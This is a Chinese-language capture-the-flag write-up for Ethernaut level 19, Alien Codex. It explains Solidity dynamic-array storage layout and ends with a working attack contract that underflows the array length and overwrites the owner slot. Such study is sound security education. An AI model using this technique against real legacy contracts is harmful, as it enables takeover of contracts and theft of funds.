Level 19 - Alien Codex

題目

Alien Codex

通關條件

你揭開了一個 Alien 合約，宣告你的所有權來完成這一關。

提示

• 研究陣列是如何在 storage 中運作的
• 研究 ABI specifications
• 使用一個非常 狡詐 的手段

合約內容

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

contract Ownable 太長，只節錄重點部分：

pragma solidity ^0.5.0;

contract Ownable {
    address private _owner;

解題

研究陣列是如何在 storage 中運作的

動態陣列在 storage 中的儲存方式跟靜態的不一樣，因為靜態的可以事先知道長度，所以會循序加入。動態的則是會按照會在宣告的位置儲存陣列的長度，而陣列實際儲存的位置則是在 Keccak256(slot index)，舉例來說：

bytes32 public test1;
bytes32 public test2;
bytes32[] public test3;
bytes32 public test4;

slot idx	(type)Variable
0	(bytes32) test1
1	(bytes32) test2
2	陣列test3的長度
3	(bytes32) test4
⋮	⋮
Keccak256(2)	test3[0]

關於 storage 的儲存方式也可以參考 What is Smart Contract Storage Layout?

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這題特意用舊版的 Solidity，代表是現在已經修掉的 bug。題目要求獲得合約所有權，
變數一共有三個，分別是從 Ownable 繼承來的：

1. address private _owner

和合約自己本身的：

2. bool public contact
3. bytes32[] public codex

function 的部分一共有四個，除了第 1 個之外，都是控制陣列 codex 的，分別是新增資料（19 行）、刪減長度達到刪除最後一筆資料（23 行）和 27 行的修改陣列中的值。
透過合約的功能我們可以推斷，這題應該是要修改陣列 codex 以達到將 owner 改成自己，在 Level 5 - Token 有提到過關於變數 overflow 的問題，這題也是一樣的概念：

1. 使用 retract() 讓 size 從 0 減為 \(2^{256}-1\)，
   在 Level 8 - Vault 中有提到過，一個合約只有 \(2^{256}-1\) 個 storage slot，每個 storage 的長度為 bytes32，所以當 codex 的長度等於 \(2^{256}-1\) 時，代表它覆蓋了整個 slot 了
2. 再來計算 codex 的第幾格會剛好等於 owner 的位置

slot idx	(type)Variable
0	(bytes20) _owner, (bool) contact
1	(bytes32) length(codex)
⋮	⋮
Keccak256(1)	codex[0]
Keccak256(1) + 1	codex[1]
⋮	⋮
\(2^{256}-2\)	codex[2^256-2-Keccak256(1)]
\(2^{256}-1\)	codex[2^256-1-Keccak256(1)]

從上表可以推算，slot 0 = codex[2^256-1-Keccak256(1)]+1，攻擊合約如下（呼叫 retract() 前要先呼叫 makeContact() 讓 contact = true，否則 retract() 會失敗，可見關卡程式碼 23->10->15 行來確認）

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../src/Ethernaut Challenge/19_AlienCodex.sol";

contract AlienAttack {
    AlienCodex level19 = AlienCodex(your_challenge_address);

    function exploit () external {
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(your_wallet_address)));
        level19.makeContact();
        level19.retract();
        level19.revise(index, myAddress);
    }
}